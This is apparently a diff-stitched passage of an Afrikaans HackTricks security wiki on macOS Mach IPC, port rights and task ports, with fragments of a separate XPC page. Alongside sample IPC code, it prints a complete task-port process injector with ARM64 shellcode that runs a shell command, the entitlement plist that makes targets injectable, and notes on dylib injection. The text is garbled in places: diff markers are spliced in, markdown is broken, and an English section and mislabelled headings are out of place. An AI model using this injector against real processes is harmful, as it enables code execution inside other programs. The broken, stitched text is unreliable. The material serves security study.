||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Mach-boodskappe via Poorte
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
Mach gebruik **take** as die **kleinste eenheid** vir die deel van hulpbronne, en elke taak kan **meervoudige drade** bevat. Hierdie **take en drade word 1:1 gekarteer na POSIX-prosesse en drade**.
|
||||
|
||||
Kommunikasie tussen take vind plaas via Mach Inter-Process Communication (IPC), wat eenrigting kommunikasiekanale benut. **Boodskappe word oorgedra tussen poorte**, wat optree soos **boodskapresies** wat deur die kernel bestuur word.
|
||||
|
||||
Elke proses het 'n **IPC-tabel**, waarin dit moontlik is om die **mach-poorte van die proses** te vind. Die naam van 'n mach-poort is eintlik 'n nommer (‘n wyser na die kernelobjek).
|
||||
|
||||
'n Proses kan ook 'n poortnaam met sekere regte **na 'n ander taak stuur** en die kernel sal hierdie inskrywing in die **IPC-tabel van die ander taak laat verskyn**.
|
||||
|
||||
### Poortregte
|
||||
|
||||
Poortregte, wat definieer watter operasies 'n taak kan uitvoer, is sleutel tot hierdie kommunikasie. Die moontlike **poortregte** is ([definisies vanaf hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Ontvangsreg**, wat die ontvangs van boodskappe wat na die poort gestuur is, moontlik maak. Mach-poorte is MPSC (meervoudige-vervaardiger, enkel-verbruiker) rye, wat beteken dat daar slegs **een ontvangsreg vir elke poort** in die hele stelsel kan wees (in teenstelling met pype, waar meervoudige prosesse almal lêerbeskrywers na die lees-einde van een pyp kan hê).
|
||||
* 'n **Taak met die Ontvangsreg** kan boodskappe ontvang en **Sendregte skep**, wat dit moontlik maak om boodskappe te stuur. Oorspronklik het slegs die **eie taak 'n Ontvangsreg oor sy poort**.
|
||||
* **Sendreg**, wat dit moontlik maak om boodskappe na die poort te stuur.
|
||||
* Die Sendreg kan **gekloneer** word sodat 'n taak wat 'n Sendreg besit, die reg kan kloon en dit aan 'n derde taak kan **toeken**.
|
||||
* **Send-once reg**, wat dit moontlik maak om een boodskap na die poort te stuur en dan te verdwyn.
|
||||
* **Poortstelreg**, wat 'n _poortstel_ aandui eerder as 'n enkele poort. Dequeuing 'n boodskap van 'n poortstel dequeues 'n boodskap van een van die poorte wat dit bevat. Poortstelle kan gebruik word om op verskeie poorte gelyktydig te luister, soos `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
* **Dooie naam**, wat nie 'n werklike poortreg is nie, maar bloot 'n plasing. Wanneer 'n poort vernietig word, verander alle bestaande poortregte na die poort in dooie name.
|
||||
|
||||
**Take kan SEND-regte aan ander oordra**, wat hulle in staat stel om boodskappe terug te stuur. **SEND-regte kan ook gekloneer word, sodat 'n taak die reg kan dupliseer en dit aan 'n derde taak kan gee**. Hierdie, saam met 'n tussenliggende proses wat bekend staan as die **bootstrap-bediener**, maak effektiewe kommunikasie tussen take moontlik.
|
||||
|
||||
### Lêerpoorte
|
||||
|
||||
Lêerpoorte maak dit moontlik om lêerbeskrywers in Mac-poorte in te sluit (deur Mach-poortregte te gebruik). Dit is moontlik om 'n `fileport` vanaf 'n gegewe FD te skep deur `fileport_makeport` te gebruik en 'n FD vanaf 'n lêerpoort te skep deur `fileport_makefd` te gebruik.
|
||||
|
||||
### Die vestiging van 'n kommunikasie
|
||||
|
||||
#### Stappe:
|
||||
|
||||
Soos genoem, om die kommunikasiekanaal te vestig, is die **bootstrap-bediener** (**launchd** in Mac) betrokke.
|
||||
|
||||
1. Taak **A** inisieer 'n **nuwe poort**, wat 'n **ONTVANGS-reg** in die proses verkry.
|
||||
2. Taak **A**, as die houer van die ONTVANGS-reg, **skep 'n SEND-reg vir die poort**.
|
||||
3. Taak **A** vestig 'n **verbindings** met die **bootstrap-bediener**, deur die **diensnaam van die poort** en die **SEND-reg** te voorsien deur 'n prosedure wat bekend staan as die bootstrap-registrasie.
|
||||
4. Taak **B** interaksie met die **bootstrap-bediener** om 'n bootstrap **opsoek na die diensnaam** uit te voer. Indien suksesvol, **dupliseer die bediener die SEND-reg** wat van Taak A ontvang is en **stuur dit na Taak B**.
|
||||
5. Nadat Taak **B** 'n SEND-reg verkry het, is dit in staat om 'n **boodskap te formuleer** en dit **na Taak A te stuur**.
|
||||
6. Vir 'n tweerigting kommunikasie skep taak **B** gewoonlik 'n nuwe poort met 'n **ONTVANGS**-reg en 'n **SEND**-reg, en gee die **SEND-reg aan Taak A** sodat dit boodskappe aan TAASK B kan stuur (tweerigting kommunikasie).
|
||||
|
||||
Die bootstrap-bediener **kan nie die diensnaam autentiseer** wat deur 'n taak beweer word nie. Dit beteken 'n **taak** kan moontlik **enige stelseltaak voorgee**, soos vals **beweer 'n outorisasiediensnaam** en dan elke versoek goedkeur.
|
||||
|
||||
Dan stoor Apple die **name van stelselverskafte dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gids: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam word ook die **geassosieerde binêre lêer gestoor**. Die bootstrap-bediener, sal 'n **ONTVANGS-reg vir elkeen van hierdie diensname** skep en behou.
|
||||
|
||||
Vir hierdie voorgedefinieerde dienste, verskil die **opsoekproses effens**. Wanneer 'n diensnaam opgesoek word, begin launchd die diens dinamies. Die nuwe werkstroom is as volg:
|
||||
|
||||
* Taak **B** inisieer 'n bootstrap **opsoek** vir 'n diensnaam.
|
||||
* **launchd** kyk of die taak loop en indien nie, **begin** dit.
|
||||
* Taak **A** (die diens) voer 'n **bootstrap-inligting** uit. Hier skep die **bootstrap**-bediener 'n SEND-reg, behou dit, en **oorhandig die ONTVANGS-reg aan Taak A**.
|
||||
* launchd dupliseer die **SEND-reg en stuur dit na Taak B**.
|
||||
* Taak **B** skep 'n nuwe poort met 'n **ONTVANGS**-reg en 'n **SEND**-reg, en gee die **SEND-reg aan Taak A** (die diens) sodat dit boodskappe aan TAASK B kan stuur (tweerigting kommunikasie).
|
||||
|
||||
Hierdie proses geld egter slegs vir voorgedefinieerde stelseltake. Nie-stelsel take werk steeds soos aanvanklik beskryf, wat moontlik die moontlikheid van voorgee toelaat.
|
||||
|
||||
### 'n Mach-boodskap
|
||||
|
||||
[Vind meer inligting hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Die `mach_msg`-funksie, essensieel 'n stelseloproep, word gebruik vir die stuur en ontvang van Mach-boodskappe. Die funksie vereis dat die boodskap as die aanvanklike argument gestuur word. Hierdie boodskap moet begin met 'n `mach_msg_header_t`-struktuur, gevolg deur die werklike boodskapinhoud. Die struktuur word soos volg gedefinieer:
|
||||
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
|
||||
Prosesse wat 'n _**ontvangsreg**_ besit, kan boodskappe op 'n Mach-poort ontvang. Omgekeerd word aan die **senders** 'n _**stuur**_ of 'n _**stuur-eenmaal reg**_ toegeken. Die stuur-eenmaal reg is uitsluitlik vir die stuur van 'n enkele boodskap, waarna dit ongeldig word.
|
||||
|
||||
Om 'n maklike **tweerigting kommunikasie** te bereik, kan 'n proses 'n **mach-poort** spesifiseer in die mach **boodskap kop** genaamd die _antwoordpoort_ (**`msgh_local_port`**) waar die **ontvanger** van die boodskap 'n antwoord op hierdie boodskap kan stuur. Die bivlae in **`msgh_bits`** kan gebruik word om aan te dui dat 'n **stuur-eenmaal reg** afgelei en oorgedra moet word vir hierdie poort (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Let daarop dat hierdie soort tweerigting kommunikasie gebruik word in XPC-boodskappe wat 'n antwoord verwag (`xpc_connection_send_message_with_reply` en `xpc_connection_send_message_with_reply_sync`). Maar **gewoonlik word verskillende poorte geskep** soos voorheen verduidelik om die tweerigting kommunikasie te skep.
|
||||
{% endhint %}
|
||||
|
||||
Die ander velde van die boodskap kop is:
|
||||
|
||||
* `msgh_size`: die grootte van die hele pakkie.
|
||||
* `msgh_remote_port`: die poort waarop hierdie boodskap gestuur word.
|
||||
* `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_id`: die ID van hierdie boodskap, wat deur die ontvanger geïnterpreteer word.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat **mach-boodskappe oor 'n \_mach-poort** gestuur word, wat 'n **enkele ontvanger**, **veelvuldige sender** kommunikasiekanaal is wat in die mach-kernel ingebou is. **Meer as een proses** kan **boodskappe stuur** na 'n mach-poort, maar op enige punt kan slegs **'n enkele proses daarvan lees**.
|
||||
{% endhint %}
|
||||
|
||||
### Enumereer poorte
|
||||
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
|
||||
Jy kan hierdie instrument in iOS installeer deur dit af te laai vanaf [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Kodevoorbeeld
|
||||
|
||||
Merk op hoe die **sender** 'n poort toewys, 'n **send right** skep vir die naam `org.darlinghq.example` en dit na die **bootstrap server** stuur terwyl die sender vir die **send right** van daardie naam gevra het en dit gebruik het om 'n boodskap te stuur.
|
||||
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||
}
|
||||
```
|
||||
|
||||
#### Afrikaans Translation
|
||||
|
||||
Hierdie is 'n eenvoudige voorbeeld van 'n sender-program wat 'n boodskap stuur na 'n ander program deur gebruik te maak van IPC-meganismes soos `mach_msg`.\
|
||||
Die sender-program skep 'n nuwe boodskap, stel die nodige velde in, en stuur die boodskap na die ander program.\
|
||||
Dit is belangrik om te verseker dat die korrekte permissies en veiligheidsmaatreëls ingestel is om te voorkom dat ongemagtigde toegang tot IPC-meganismes verkry word.
|
||||
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Lookup the receiver port using the bootstrap server.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||
|
||||
|
||||
// Construct our message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
} message;
|
||||
|
||||
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||
message.header.msgh_remote_port = port;
|
||||
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||
|
||||
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||
message.some_number = 35;
|
||||
|
||||
// Send the message.
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_SEND_MSG, // Options. We're sending a message.
|
||||
sizeof(message), // Size of the message being sent.
|
||||
0, // Size of the buffer for receiving.
|
||||
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
|
||||
### Bevoorregte Porte
|
||||
|
||||
* **Gasheerpoort**: As 'n proses **Stuur**-bevoegdheid oor hierdie poort het, kan hy **inligting** oor die **sisteem** kry (bv. `host_processor_info`).
|
||||
* **Gasheer priv-poort**: 'n Proses met **Stuur**-reg oor hierdie poort kan **bevoorregte aksies** uitvoer soos die laai van 'n kernuitbreiding. Die **proses moet root wees** om hierdie toestemming te kry.
|
||||
* Verder, om die **`kext_request`** API te roep, is dit nodig om ander toekennings **`com.apple.private.kext*`** te hê wat slegs aan Apple-binêre lêers gegee word.
|
||||
* **Taaknaampoort:** 'n Onbevoorregte weergawe van die _taakpoort_. Dit verwys na die taak, maar laat nie toe om dit te beheer nie. Die enigste ding wat beskikbaar lyk deur dit is `task_info()`.
|
||||
* **Taakpoort** (ook bekend as kernpoort)**:** Met Stuur-toestemming oor hierdie poort is dit moontlik om die taak te beheer (lees/skryf geheue, skep drade...).
|
||||
* Roep `mach_task_self()` aan om die naam vir hierdie poort vir die aanroeperstaak te **kry**. Hierdie poort word slegs **oorgeërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep is, kry 'n nuwe taakpoort (as 'n spesiale geval kry 'n taak ook 'n nuwe taakpoort na `exec()` in 'n suid-binêre lêer). Die enigste manier om 'n taak te skep en sy poort te kry, is om die ["poortruil dans"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) uit te voer terwyl 'n `fork()` gedoen word.
|
||||
* Hierdie is die beperkings om toegang tot die poort te verkry (vanaf `macos_task_policy` van die binêre lêer `AppleMobileFileIntegrity`):
|
||||
* As die program die **`com.apple.security.get-task-allow` toekennings** het, kan prosesse van dieselfde gebruiker toegang tot die taakpoort kry (gewoonlik bygevoeg deur Xcode vir foutopsporing). Die **notariseringsproses** sal dit nie toelaat vir produksie vrystellings nie.
|
||||
* Programme met die **`com.apple.system-task-ports` toekennings** kan die taakpoort vir enige proses kry, behalwe die kernel. In ouer weergawes was dit genoem **`task_for_pid-allow`**. Dit word slegs aan Apple-toepassings toegeken.
|
||||
* **Root kan toegang tot taakpoorte** van programme verkry wat nie met 'n **verharde** hardloopomgewing saamgestel is nie (en nie van Apple nie).
|
||||
|
||||
### Shellcode-inspuiting in draad via Taakpoort
|
||||
|
||||
Jy kan 'n shellcode kry van:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
double performMathOperations() {
|
||||
double result = 0;
|
||||
for (int i = 0; i < 10000; i++) {
|
||||
result += sqrt(i) * tan(i) - cos(i);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||
processIdentifier]);
|
||||
while (true) {
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
|
||||
performMathOperations(); // Silent action
|
||||
|
||||
[NSThread sleepForTimeInterval:5];
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
#### MacOS IPC (Inter-Process Communication)
|
||||
|
||||
Inter-process communication (IPC) is a mechanism that allows processes to communicate and share data with each other. MacOS provides several IPC mechanisms, including Mach ports, XPC services, and distributed notifications.
|
||||
|
||||
**Mach Ports**
|
||||
|
||||
Mach ports are low-level communication endpoints used by processes to send messages to each other. They are used by various system services and applications for inter-process communication.
|
||||
|
||||
**XPC Services**
|
||||
|
||||
XPC services are a higher-level IPC mechanism that allows applications to create and manage lightweight processes for executing specific tasks. XPC services are commonly used for tasks that need to be performed in a separate process for security or stability reasons.
|
||||
|
||||
**Distributed Notifications**
|
||||
|
||||
Distributed notifications allow processes to broadcast and receive notifications across the system. This mechanism is often used for system-wide events or to notify applications of changes in the system state.
|
||||
|
||||
Understanding these IPC mechanisms is essential for developers and security professionals to design secure and efficient applications on MacOS. By leveraging these mechanisms properly, developers can ensure that their applications communicate effectively while maintaining the security and integrity of the system.
|
||||
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
**Kompileer** die vorige program en voeg die **toestemmings** by om kode in te spuit met dieselfde gebruiker (as nie, sal jy **sudo** moet gebruik).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>sc_injector.m</summary>
|
||||
|
||||
\`\`\`objectivec // gcc -framework Foundation -framework Appkit sc\_injector.m -o sc\_injector
|
||||
|
||||
\#import \<Foundation/Foundation.h> #import \<AppKit/AppKit.h> #include \<mach/mach\_vm.h> #include \<sys/sysctl.h>
|
||||
|
||||
\#ifdef **arm64**
|
||||
|
||||
kern\_return\_t mach\_vm\_allocate ( vm\_map\_t target, mach\_vm\_address\_t \*address, mach\_vm\_size\_t size, int flags );
|
||||
|
||||
kern\_return\_t mach\_vm\_write ( vm\_map\_t target\_task, mach\_vm\_address\_t address, vm\_offset\_t data, mach\_msg\_type\_number\_t dataCnt );
|
||||
|
||||
\#else #include \<mach/mach\_vm.h> #endif
|
||||
|
||||
\#define STACK\_SIZE 65536 #define CODE\_SIZE 128
|
||||
|
||||
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode\[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||
|
||||
int inject(pid\_t pid){
|
||||
|
||||
task\_t remoteTask;
|
||||
|
||||
// Get access to the task port of the process we want to inject into kern\_return\_t kr = task\_for\_pid(mach\_task\_self(), pid, \&remoteTask); if (kr != KERN\_SUCCESS) { fprintf (stderr, "Unable to call task\_for\_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
|
||||
|
||||
// Allocate memory for the stack mach\_vm\_address\_t remoteStack64 = (vm\_address\_t) NULL; mach\_vm\_address\_t remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate(remoteTask, \&remoteStack64, STACK\_SIZE, VM\_FLAGS\_ANYWHERE);
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach\_error\_string(kr)); return (-2); } else {
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
|
||||
|
||||
// Allocate memory for the code remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate( remoteTask, \&remoteCode64, CODE\_SIZE, VM\_FLAGS\_ANYWHERE );
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach\_error\_string(kr)); return (-2); }
|
||||
|
||||
// Write the shellcode to the allocated memory kr = mach\_vm\_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm\_address\_t) injectedCode, // Source 0xa9); // Length of the source
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach\_error\_string(kr)); return (-3); }
|
||||
|
||||
// Set the permissions on the allocated code memory kr = vm\_protect(remoteTask, remoteCode64, 0x70, FALSE, VM\_PROT\_READ | VM\_PROT\_EXECUTE);
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||
|
||||
// Set the permissions on the allocated stack memory kr = vm\_protect(remoteTask, remoteStack64, STACK\_SIZE, TRUE, VM\_PROT\_READ | VM\_PROT\_WRITE);
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||
|
||||
// Create thread to run shellcode struct arm\_unified\_thread\_state remoteThreadState64; thread\_act\_t remoteThread;
|
||||
|
||||
memset(\&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK\_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char\* p = (const char\*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM\_THREAD\_STATE64; remoteThreadState64.ash.count = ARM\_THREAD\_STATE64\_COUNT; remoteThreadState64.ts\_64.\_\_pc = (u\_int64\_t) remoteCode64; remoteThreadState64.ts\_64.\_\_sp = (u\_int64\_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread\_create\_running(remoteTask, ARM\_THREAD\_STATE64, // ARM\_THREAD\_STATE64, (thread\_state\_t) \&remoteThreadState64.ts\_64, ARM\_THREAD\_STATE64\_COUNT , \&remoteThread );
|
||||
|
||||
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach\_error\_string (kr)); return (-3); }
|
||||
|
||||
return (0); }
|
||||
|
||||
pid\_t pidForProcessName(NSString \*processName) { NSArray \*arguments = @\[@"pgrep", processName]; NSTask \*task = \[\[NSTask alloc] init]; \[task setLaunchPath:@"/usr/bin/env"]; \[task setArguments:arguments];
|
||||
|
||||
NSPipe \*pipe = \[NSPipe pipe]; \[task setStandardOutput:pipe];
|
||||
|
||||
NSFileHandle \*file = \[pipe fileHandleForReading];
|
||||
|
||||
\[task launch];
|
||||
|
||||
NSData \*data = \[file readDataToEndOfFile]; NSString \*string = \[\[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
|
||||
return (pid\_t)\[string integerValue]; }
|
||||
|
||||
BOOL isStringNumeric(NSString _str) { NSCharacterSet_ nonNumbers = \[\[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = \[str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
|
||||
|
||||
int main(int argc, const char \* argv\[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv\[0]); return 1; }
|
||||
|
||||
NSString \*arg = \[NSString stringWithUTF8String:argv\[1]]; pid\_t pid;
|
||||
|
||||
if (isStringNumeric(arg)) { pid = \[arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", \[arg UTF8String], pid); } }
|
||||
|
||||
inject(pid); }
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
</besonderhede>
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
````
|
||||
|
||||
#### Dylib Injeksie in draad via Taakpoort
|
||||
|
||||
In macOS **drade** kan gemanipuleer word via **Mach** of deur die gebruik van **posix `pthread` api**. Die draad wat ons gegenereer het in die vorige injeksie, is gegenereer met behulp van die Mach api, so **dit is nie posix voldoenend nie**.
|
||||
|
||||
Dit was moontlik om 'n eenvoudige shellkode in te spuit om 'n bevel uit te voer omdat dit **nie met posix voldoenende api's hoef te werk nie**, slegs met Mach. **Meer komplekse injeksies** sou die **draad** ook **posix voldoenend** moet wees.
|
||||
|
||||
Daarom, om die draad te **verbeter**, behoort dit **`pthread_create_from_mach_thread`** te roep wat 'n geldige pthread sal skep. Dan kan hierdie nuwe pthread **dlopen** aanroep om 'n dylib van die stelsel te **laai**, sodat dit moontlik is om aangepaste biblioteke te laai in plaas daarvan om nuwe shellkode te skryf om verskillende aksies uit te voer.
|
||||
|
||||
Jy kan **voorbeeld dylibs** vind (byvoorbeeld een wat 'n log genereer en dan kan jy daarna luister):
|
||||
|
||||
</details>
|
|
@ -1,5 +1,7 @@
|
|||
# macOS XPC
|
||||
|
||||
## macOS XPC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -9,12 +11,12 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
### Basiese Inligting
|
||||
|
||||
XPC, wat staan vir XNU (die kernel wat deur macOS gebruik word) interproseskommunikasie, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n meganisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se veiligheidsparadigma wat die **skepping van voorreg-geskeide toepassings** moontlik maak waar elke **komponent** met **slegs die toestemmings wat dit nodig het** om sy werk te doen, loop, en sodoende die potensiële skade van 'n gekompromitteerde proses beperk.
|
||||
|
||||
|
@ -28,7 +30,7 @@ Die primêre voordele van XPC sluit in:
|
|||
|
||||
Die enigste **nadeel** is dat **die skeiding van 'n toepassing in verskeie prosesse** wat kommunikeer via XPC **minder doeltreffend** is. Maar in hedendaagse stelsels is dit amper onmerkbaar en die voordele is beter.
|
||||
|
||||
## Toepassing-spesifieke XPC-diens
|
||||
### Toepassing-spesifieke XPC-diens
|
||||
|
||||
